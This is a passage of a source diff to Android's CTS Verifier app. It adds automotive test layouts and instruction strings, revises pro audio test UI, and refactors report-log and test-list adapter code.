+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings_disable"/>
+        <Button
+            android:id="@+id/car_bluetooth_settings_disable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_bluetooth_settings_disable"/>
+        <Button
+            android:id="@+id/car_location_settings_disable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_location_settings_disable"/>
+        <Button
+            android:id="@+id/car_component_power_on_policy_check"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_component_power_on_policy_check"/>
+        <Button
+            android:id="@+id/car_wifi_settings_enable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings_enable"/>
+        <Button
+            android:id="@+id/car_bluetooth_settings_enable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_bluetooth_settings_enable"/>
+        <Button
+            android:id="@+id/car_location_settings_enable"
+            android:layout_height="40dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_location_settings_enable"/>
+    </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/layout/night_mode_test.xml b/apps/CtsVerifier/res/layout/night_mode_test.xml
deleted file mode 100644
index cdba032..0000000
--- a/apps/CtsVerifier/res/layout/night_mode_test.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-          http://www.apache.org/licenses/LICENSE-2.0
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <TextView
-          android:id="@+id/night_mode_instruction"
-          android:layout_width="match_parent"
-          android:layout_height="0dp"
-          android:layout_weight="1"
-          android:gravity="center"
-          android:textSize="50dip" />
-    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="2"
-        android:orientation="horizontal">
-    <TextView
-          android:id="@+id/current_night_mode_value_title"
-          android:layout_width="0dp"
-          android:layout_weight="2"
-          android:layout_height="match_parent"
-          android:gravity="center"
-          android:text="@string/current_night_mode_value_title"
-          android:textSize="50dip" />
-    <TextView
-          android:id="@+id/current_night_mode_value"
-          android:layout_width="0dp"
-          android:layout_weight="1"
-          android:layout_height="match_parent"
-          android:gravity="center"
-          android:textSize="50dip" />
-    </LinearLayout>
-    <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index a60439e..d9dcf41 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -24,7 +24,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasProAudioLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -42,7 +42,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasLLALbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -60,7 +60,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasMIDILbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -78,7 +78,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioMidiHasUSBHostLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -96,14 +96,18 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioMidiHasUSBPeripheralLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
-    <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/proAudioHasHDMICheckBox"
-        android:onClick="onCheckboxClicked"/>
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/proAudioHasHDMICheckBox"
+            android:onClick="onCheckboxClicked"/>
+    </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
         android:layout_width="match_parent"
@@ -120,7 +124,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHDMISupportLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="vertical"
@@ -130,13 +134,7 @@
             android:id="@+id/proAudioTestStatusLbl"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:text="@string/proAudioLoopbackMoved"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <include layout="@layout/pass_fail_buttons"/>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 7a9c4ae..5bf834f 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -144,7 +144,31 @@
         Do not enter or disturb the vehicle for at least 15 minutes.\n\n
         Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
         If Garage Mode ran as required, the pass button will be enabled.</string>
+    <string name="car_component_power_on_policy_check">Verify Component Power On Policy</string>
+    <string name="car_component_power_off_policy_check">Verify Component Power Off Policy</string>
+    <string name="car_power_policy_test">Car Power Policy Test</string>
+    <string name="car_power_policy_test_desc">
+        This test verifies that Wi-Fi, Bluetooth and Location settings UI behaviors with respect
+        to their power policy. If the policy sets components power off, the component settings UI
+        shall be disabled. Otherwise, the settings UI shall be enabled as default.\n\n
+        First execute the\n
+        "  adb shell cmd car_service apply-cts-verifier-power-off-policy"\n
+        adb shell command first and then sequentialy click first 4 buttons to check each component
+        settings UI are disabled.\n\n
+        Then, execute the\n
+        "  adb shell cmd car_service apply-cts-verifier-power-on-policy"\n
+        shell command and sequential click the remaining 4 buttons to check if each component
+        settings UI is enabled.\n\n
+        For the detailed instructions, please refer to\n
+        "  https://source.android.com/compatibility/cts/power-policy".
+        </string>
     <string name="car_wifi_settings">Go to Wi-Fi settings</string>
+    <string name="car_wifi_settings_disable">Check Wi-Fi Settings Disabled</string>
+    <string name="car_bluetooth_settings_disable">Check Bluetooth Settings Disabled</string>
+    <string name="car_location_settings_disable">Check Location Settings Disabled</string>
+    <string name="car_wifi_settings_enable">Check Wi-Fi Settings Enabled</string>
+    <string name="car_bluetooth_settings_enable">Check Bluetooth Settings Enabled</string>
+    <string name="car_location_settings_enable">Check Location Settings Enabled</string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -156,6 +180,24 @@
         framework correctly tries to open the CAR_DOCK app again.</string>
     <string name="car_mode_enable">Enable Car Mode</string>
     <string name="car_dock_activity_text">Press the Home button</string>
+    <string name="car_launcher_test">Car Launcher Test</string>
+    <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+        disabled by car service due to system resource overuse.\n\n
+        <b>
+            Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+            (aka CtsCarWatchdogCompanionApp) is installed by going to Settings &gt; Apps. If not,
+            please install the app before proceeding.\n\n
+        </b>
+        1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+        it is not listed, pass the test.\n
+        2. Run the
+        \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+        shell command to disable the app because of system resource overuse.\n
+        3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+        is not listed, fail the test.\n
+        4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+        Pass the test only if the companion app opened successfully.</string>
+    <string name="car_launcher_test_button_label">Open Launcher</string>
     <string name="gear_selection_test">Gear Selection Test</string>
     <string name="gear_selection_test_desc">This test ensures that the
       GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -163,12 +205,6 @@
       implemented gears then the pass button will be enabled.</string>
     <string name="expected_gear_selection_title">Expected Gear Selection</string>
     <string name="current_gear_selection_title">Current Gear Selection</string>
-    <string name="night_mode_test">NIGHT_MODE Test</string>
-    <string name="night_mode_test_desc">This test ensures that the NIGHT_MODE vehicle property is
-      implemented correctly.\n\nFollow the instructions on the screen to engage and disengage
-      NIGHT_MODE through the vehicle HAL. When the instructions are completed, the pass button
-      will be enabled.</string>
-    <string name="current_night_mode_value_title">Current NIGHT_MODE Value:</string>
     <string name="parking_brake_on_test">PARKING_BRAKE_ON Test</string>
     <string name="parking_brake_on_test_desc">This test ensures that the
       PARKING_BRAKE_ON property is implemented correctly.\n\nFollow the
@@ -228,6 +264,15 @@
         Pass the test if the device admin could not be activated while the details
         window was being obscured.
     </string>
+    <string name="da_tapjacking_instructions" product="automotive">
+        1. Launch the device admin add screen by pressing the button below.\n
+        2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+        3. The button to activate the admin should be disabled and should not register any taps.\n
+        4. Wait for the overlaying activity to finish.\n
+        5. Press \'back\' to exit the device admin details and return to this screen.\n
+        Pass the test if the device admin could not be activated while the details
+        window was being obscured.
+    </string>
     <string name="da_tapjacking_button_text">Enable device admin</string>
 
     <!-- Strings for RecentTaskRemovalTestActivity -->
@@ -2293,9 +2338,9 @@
     <string name="np_start_security_settings">Launch Security Settings</string>
     <string name="np_start_notif_settings">Launch Notification Settings</string>
     <string name="np_when_locked_see_redacted">Lock the screen and find the NotifPrivacyTest notification.\n
-        Pass the test if the notification content is REDACTED and the icon is B.</string>
+        Pass the test if the notification content is REDACTED.</string>
     <string name="np_when_locked_see_private">Lock the screen and find the NotifPrivacyTest notification.\n
-        Pass the test if the notification content is EXPOSED and the icon is A.</string>
+        Pass the test if the notification content is EXPOSED.</string>
     <string name="np_when_locked_hidden">Lock the screen and look for the NotifPrivacyTest notification.\n
         Fail the test if it can be found without unlocking the device.</string>
     <string name="np_start_occluding">Launch CallSimulator</string>
@@ -2304,13 +2349,13 @@
         \n\n(Like a call, this screen will be visible even when the device is locked.)
         \n\nLock the screen, then come back here without unlocking.
         \nPull down the notification shade and find the NotifPrivacyTest notification.
-        \nPass the test if the notification content is REDACTED and the icon is B.
+        \nPass the test if the notification content is REDACTED.
         \n\nGo back when ready to Pass/Fail the step.</string>
     <string name="np_occluding_see_private">CallSimulator
         \n\n(Like a call, this screen will be visible even when the device is locked.)
         \n\nLock the screen, then come back here without unlocking.
         \nPull down the notification shade and find the NotifPrivacyTest notification.
-        \nPass the test if the notification content is EXPOSED and the icon is A.
+        \nPass the test if the notification content is EXPOSED.
         \n\nGo back when ready to Pass/Fail the step.</string>
     <string name="np_occluding_hidden">CallSimulator
         \n\n(Like a call, this screen will be visible even when the device is locked.)
@@ -3572,7 +3617,10 @@
             Then you need to set this app as the device owner by running\n
             adb shell dpm set-device-owner --user 0 com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
     </string>
-
+    <string name="set_device_owner_headless_dialog_text">
+            For this test you need to set the device owner by running\n
+            adb shell dpm set-device-owner --user 0 com.android.cts.verifier/.managedprovisioning.DeviceAdminTestReceiver
+    </string>
     <string name="device_owner_remove_device_owner_test">Remove device owner</string>
     <string name="device_owner_remove_device_owner_test_info">
             Please check in Settings &gt; Security &gt; Device Administrators if CTSVerifier is
@@ -3612,12 +3660,25 @@
             Please make sure you can connect to it. The test is successful if the config is editable
             and can be connected to.
     </string>
+    <string name="device_owner_wifi_config_unlocked_modification_test_info" product="automotive">
+            Please press the button to ensure WiFi config lockdown is NOT in effect. Then go to
+            Settings &gt; WiFi and see if the CTSVerifier created WiFi configuration is editable
+            (it\'s ok if it\'s not editable, but then take note so the next test can be skipped).
+            Please make sure you can connect to it. The test is successful if the config can be
+            connected to.
+    </string>
     <string name="device_owner_wifi_config_locked_modification_test">Locked config is not modifiable in Settings</string>
     <string name="device_owner_wifi_config_locked_modification_test_info">
             Please press the button to ensure WiFi config lockdown is in effect. Then go to
             Settings &gt; WiFi and see if the CTSVerifier created WiFi configuration can NOT be edited
             or removed. The test is successful if the config is NOT modifiable.
     </string>
+    <string name="device_owner_wifi_config_locked_modification_test_info" product="automotive">
+            NOTE: if the WiFi was not editable in the previous step, please skip this test.
+            Please press the button to ensure WiFi config lockdown is in effect. Then go to
+            Settings &gt; WiFi and see if the CTSVerifier created WiFi configuration can NOT be edited
+            or removed. The test is successful if the config is NOT modifiable.
+    </string>
     <string name="device_owner_wifi_config_locked_connection_test">Locked config can be connected to</string>
     <string name="device_owner_wifi_config_locked_connection_test_info">
             Please press the button to ensure WiFi config lockdown is in effect. Then go to
@@ -4080,7 +4141,7 @@
         1. <xliff:g id="set_step" example="Set policy by turning the switch on">%1$s</xliff:g>\n
         2. Open Settings app by clicking the "Open settings" button below. Note that this will open the personal Settings app. If this device has the work settings in a different app or screen, then navigate there, ignoring the button if necessary.\n
         3. Verify that performing the following action will trigger a support dialog:\n
-           <xliff:g id="user_action" example="Adding an account">%2$s</xliff:g>.\n
+           <xliff:g id="user_action" example="Adding an account">%2$s</xliff:g>.<xliff:g id="exception_node" example="NOTE: if the device doesn't support the action...">%3$s</xliff:g>\n
         4. Verify that the support dialog displays the short support message set earlier.\n
         5. Verify that clicking the "Learn more" link will either launch a help web page with more
            information or redirect to Device administrators page in Settings app which displays the
@@ -4089,6 +4150,7 @@
            from Settings -> Security, open the work profile \'CTS Verifier\' enabled admin and
            verify that the page displays the long support message set earlier.\n
     </string>
+    <string name="optional_policy_transparency_test_note">\n\t<b>NOTE</b>: if the device doesn\'t support this action please skip this test and mark it as passing.</string>
     <string name="user_restriction_set_step">
         Set \'%s\' user restriction by turning on the switch below.
     </string>
@@ -4140,6 +4202,34 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
+    <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+    <string name="check_new_user_disclaimer_info">
+        Please do the following: \n\n
+        1. Check persistent notification for managed device \n\n
+        a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+        b). Tap the notification\n
+        c). It should show a dialog explaining the device is managed and asking the user to accept \n
+        d). Don\'t accept initially and tap outside the dialog \n
+        e). Open the notification UI again, verify that the managed device notification is still shown \n
+        \n
+        f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+        \"Foo, Inc\" is shown on the dialog \n
+        \n\n
+        2. Check adding account is restricted\n\n
+        a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+        b) navigate to \"Add account\" \n
+        \n
+        Expected: \n
+        - \"Add account\" is disabled \n
+        - Click the button will launch the new user disclaimer dialog\n
+        \n
+        c) Click accept button\n
+        \n
+        Expected: \n
+        - the screen will be dismissed \n
+        - \"Add account\" will be enabled\n
+        - Click the button will take user to the screen to add account \n
+    </string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
@@ -4292,6 +4382,27 @@
         15) Issue the following command on the host:\n
             adb shell rm /sdcard/NotificationBot.apk
     </string>
+    <string name="enterprise_privacy_enterprise_installed_apps_info_headless_system_user">
+        Please do the following:\n
+        1) You should have received NotificationBot.apk together with the CTS verifier. If you built the CTS verifier yourself, build the NotificationBot.apk by issuing the following command on the host:\n
+        \tmake NotificationBot\n
+        2) Install the NotificationBot for <b>user 0 only</b>. For example:\n
+        \tadb install --user 0 $ANDROID_PRODUCT_OUT/testcases/NotificationBot/*/NotificationBot.apk\n
+        3) Make sure the app is <b>not</b> installed for the current user:\n
+        \tadb shell pm list packages --user cur |grep com.android.cts.robot || echo \'Not installed\'\n
+        4) Press the Open Settings button.\n
+        5) In the screen that opens, verify that you are not told that your administrator installed any apps (other than CtsVerifier itself).\n
+        6) Use the Back button to return to this page.\n
+        7) Press the Install button.\n
+        8) Press the Open Settings button.\n
+        9) In the screen that opens, verify that you are told now that your administrator installed at least one app.\n
+        10) Tap on that information. Verify that a list of apps installed shows.\n
+        11) Verify that the list contains the CTS Robot app.\n
+        12) Use the Back button to return to this page.\n
+        13) Press the Uninstall button.\n
+        14) Issue the following command on the host:\n
+        \tadb uninstall --user all com.android.cts.robot\n
+    </string>
     <string name="enterprise_privacy_install">Install</string>
     <string name="enterprise_privacy_uninstall">Uninstall</string>
     <string name="enterprise_privacy_admin_granted_location_access">Location access permission</string>
@@ -4570,6 +4681,13 @@
         automatically. Dismiss the keyguard and a \'Managed User Tests\' should launch.\n
         Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
     </string>
+    <string name="managed_user_positive_tests_instructions" product="automotive">
+        The positive managed user tests verify policies on a managed user created by a device owner.
+        \n
+        Press Go button to create a managed user, and you will be switched to the managed user
+        automatically; a \'Managed User Tests\' should launch.\n
+        Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
+    </string>
     <string name="managed_user_positive_tests_info">
         The positive managed user tests verify policies on a managed user created by a device owner.
         Proceed to the test cases, then press \'pass\' or \'fail\' to finish this test.
@@ -5023,27 +5141,26 @@
     <!--  Pro Audio Tests -->
     <string name="pro_audio_latency_test">Pro Audio Test</string>
 
-    <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
-    <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
+    <string name="proAudioHasProAudiolbl">Has Pro Audio:</string>
+    <string name="proAudioHasLLAlbl">Has Low-Latency Audio:</string>
     <string name="audioLoopbackInputLbl">Audio Input:</string>
     <string name="audioLoopbackOutputLbl">Audio Output:</string>
-
-    <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
-    <string name="proAudioMIDIInputLbl">MIDI Input:</string>
-    <string name="proAudioMIDIOutputLbl">MIDI Output:</string>
+    <string name="proAudioMidiHasMIDILbl">Has MIDI Support:</string>
     <string name="proAudioMidiHasUSBHostLbl">USB Host Mode:</string>
     <string name="proAudioMidiHasUSBPeripheralLbl">USB Peripheral Mode:</string>
     <string name="proAudioHDMISupportLbl">HDMI Support:</string>
     <string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
-    <string name="proAudioLoopbackMoved">The latency measurement for Pro Audio has been moved to the Audio Loopback Latency Test</string>
 
     <string name="audio_proaudio_NA">N/A</string>
-    <string name="audio_proaudio_pending">pending...</string>
+    <string name="audio_proaudio_hdmiPending">pending...</string>
+    <string name="audio_proaudio_hdmiNotFound">No HDMI detected.</string>
 
     <string name="audio_proaudio_nopa_title">Pro Audio Test</string>
     <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
         flag and therefore does not need to run this test.</string>
 
+    <string name="hdmi_insufficient">The Connected HDMI device does not meet CDD requirements</string>
+
     <!-- Various test status strings -->
     <string name="audio_proaudio_pass">Pass</string>
     <string name="audio_proaudio_latencytoohigh">Latency is too high</string>
@@ -5051,7 +5168,6 @@
     <string name="audio_proaudio_midinotreported">"No MIDI support reported"</string>
     <string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string>
     <string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string>
-    <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string>
 
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
@@ -5639,9 +5755,18 @@
 
     <!-- Pro Audio Test -->
     <string name="proaudio_test">Pro Audio Test</string>
-    <string name="proaudio_info">
-        This test will check for validity of the \"Pro Audio\" and subsidiary flags. Note
-        that this test no longer requires a loopback audio device.
+    <string name="proaudio_info">This tests that any device claiming \"Pro Audio\" meets the
+        requirements specified in the
+        <a href="https://source.android.com/compatibility/12/android-12-cdd#510_professional_audio">
+            CDD section 5.10. Professional Audio</a>
+        \n\nTo execute the test:
+        \n1. Note that all required flags report \"true\"
+        \n2. If the DUT supports HDMI:
+        \n  a. Click the \"Has HDMI Support\" checkbox
+        \n  b. Connect an HDMI device to the DUT
+        \n  c. Verify that the reported HDMI attributes meet the specification.
+        \n\nNote that the latency measurement for Pro Audio has been moved to the
+        Audio Loopback Latency Test
     </string>
     <string name="proaudio_hdmi_infotitle">HDMI Support</string>
     <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 99df613..ab02210 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.verifier;
 
-import com.android.cts.verifier.TestListAdapter.TestListItem;
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
@@ -27,6 +26,8 @@
 import android.view.Window;
 import android.widget.ListView;
 
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
@@ -54,6 +55,8 @@
 
     private Intent getIntent(int position) {
         TestListItem item = mAdapter.getItem(position);
+        Intent intent = item.intent;
+        intent.putExtra(TestResult.TEST_START_TIME, mStartTime);
         return item.intent;
     }
 
@@ -86,6 +89,11 @@
     }
 
     protected void handleLaunchTestResult(int resultCode, Intent data) {
+        // The mStartTime can be the initial 0 if this Activity has been recreated.
+        if (mStartTime == 0 && data.hasExtra(TestResult.TEST_START_TIME)) {
+            mStartTime = data.getLongExtra(TestResult.TEST_START_TIME, 0);
+        }
+
         if (resultCode == RESULT_OK) {
             // If subtest didn't set end time, set current time
             if (mEndTime == 0) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ArrayTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ArrayTestListAdapter.java
index e9a6435..29440f0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ArrayTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ArrayTestListAdapter.java
@@ -31,9 +31,6 @@
 
     public ArrayTestListAdapter(Context context) {
         super(context);
-        // To identify that the test list items are not from ManifestTestListAdapter, which provides
-        // test data for foldable tests.
-        adapterFromManifest = false;
     }
 
     public void add(TestListItem item) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index 4da2ad6..b013bb7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -62,7 +62,8 @@
                 throw new IOException("External storage is not mounted");
             } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
                     || (logDirectory.exists() && !logDirectory.isDirectory())) {
-                throw new IOException("Cannot create directory for device info files");
+                throw new IOException("Cannot create directory " + logDirectory
+                        + " for device info files");
             } else {
                 File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
                 mStore = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index eaeb5f3..7bf6b5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -164,15 +164,6 @@
         for (int i = 0; i < disabledTestArray.length; i++) {
             mDisabledTests.add(disabledTestArray[i]);
         }
-
-        // Configs to distinct that the adapter is for top-level tests or subtests.
-        if (testParent == null) {
-            // For top-level tests.
-            hasTestParentInManifestAdapter = false;
-        } else {
-            hasTestParentInManifestAdapter = true;
-        }
-        adapterFromManifest = true;
     }
 
     public ManifestTestListAdapter(Context context, String testParent) {
@@ -181,16 +172,19 @@
 
     @Override
     protected List<TestListItem> getRows() {
+        List<TestListItem> allRows = new ArrayList<TestListItem>();
+
         // When launching at the first time or after killing the process, needs to fetch the
         // test items of all display modes as the bases for switching.
-        if (!sInitialLaunch) {
-            return getRowsWithDisplayMode(sCurrentDisplayMode);
+        if (mDisplayModesTests.isEmpty()) {
+            for (DisplayMode mode : DisplayMode.values()) {
+                allRows = getRowsWithDisplayMode(mode.toString());
+                mDisplayModesTests.put(mode.toString(), allRows);
+            }
         }
 
-        List<TestListItem> allRows = new ArrayList<TestListItem>();
-        for (DisplayMode mode: DisplayMode.values()) {
-            allRows = getRowsWithDisplayMode(mode.toString());
-            mDisplayModesTests.put(mode.toString(), allRows);
+        if (!sInitialLaunch) {
+            return getRowsWithDisplayMode(sCurrentDisplayMode);
         }
         return allRows;
     }
@@ -562,4 +556,29 @@
         }
         return filteredTests;
     }
+
+    @Override
+    public int getCount() {
+        if (!sInitialLaunch && mTestParent == null) {
+            return mDisplayModesTests.getOrDefault(sCurrentDisplayMode, new ArrayList<>()).size();
+        }
+        return super.getCount();
+    }
+
+    @Override
+    public TestListItem getItem(int position) {
+        if (mTestParent == null) {
+            return mDisplayModesTests.get(sCurrentDisplayMode).get(position);
+        }
+        return super.getItem(position);
+    }
+
+    @Override
+    public void loadTestResults() {
+        if (mTestParent == null) {
+            new RefreshTestResultsTask(true).execute();
+        } else {
+            super.loadTestResults();
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4bd642d..0294ff7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -70,7 +70,10 @@
     private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
 
     // ReportLog file for CTS-Verifier. The "stream" name gets mapped to the test class name.
-    private static final String REPORT_LOG_NAME = "CTS-Verifier-Log";
+    public static final String GENERAL_TESTS_REPORT_LOG_NAME = "CtsVerifierGeneralTestCases";
+    public static final String AUDIO_TESTS_REPORT_LOG_NAME = "CtsVerifierAudioTestCases";
+
+    private static final String SECTION_UNDEFINED = "undefined_section_name";
 
     // Interface mostly for making documentation and refactoring easier...
     public interface PassFailActivity {
@@ -112,10 +115,16 @@
         void setTestResultAndFinish(boolean passed);
 
         /**
-         * @return A unique name (derived from the test class name) to serve as a section
-         * header in the CtsVerifierReportLog file.
+         * @return The name of the file to store the (suite of) ReportLog information.
          */
-        String getReportSectionName();
+        public String getReportFileName();
+
+        /**
+         * @return A unique name to serve as a section header in the CtsVerifierReportLog file.
+         * Tests need to conform to the underscore_delineated_name standard for use with
+         * the protobuff/json ReportLog parsing in Google3
+         */
+        public String getReportSectionName();
 
         /**
          * Test subclasses can override this to record their CtsVerifierReportLogs.
@@ -138,7 +147,7 @@
         private final TestResultHistoryCollection mHistoryCollection;
 
         public Activity() {
-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
             this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
@@ -202,9 +211,15 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
         @Override
@@ -240,7 +255,7 @@
         private final TestResultHistoryCollection mHistoryCollection;
 
         public ListActivity() {
-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
             this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
@@ -286,9 +301,15 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
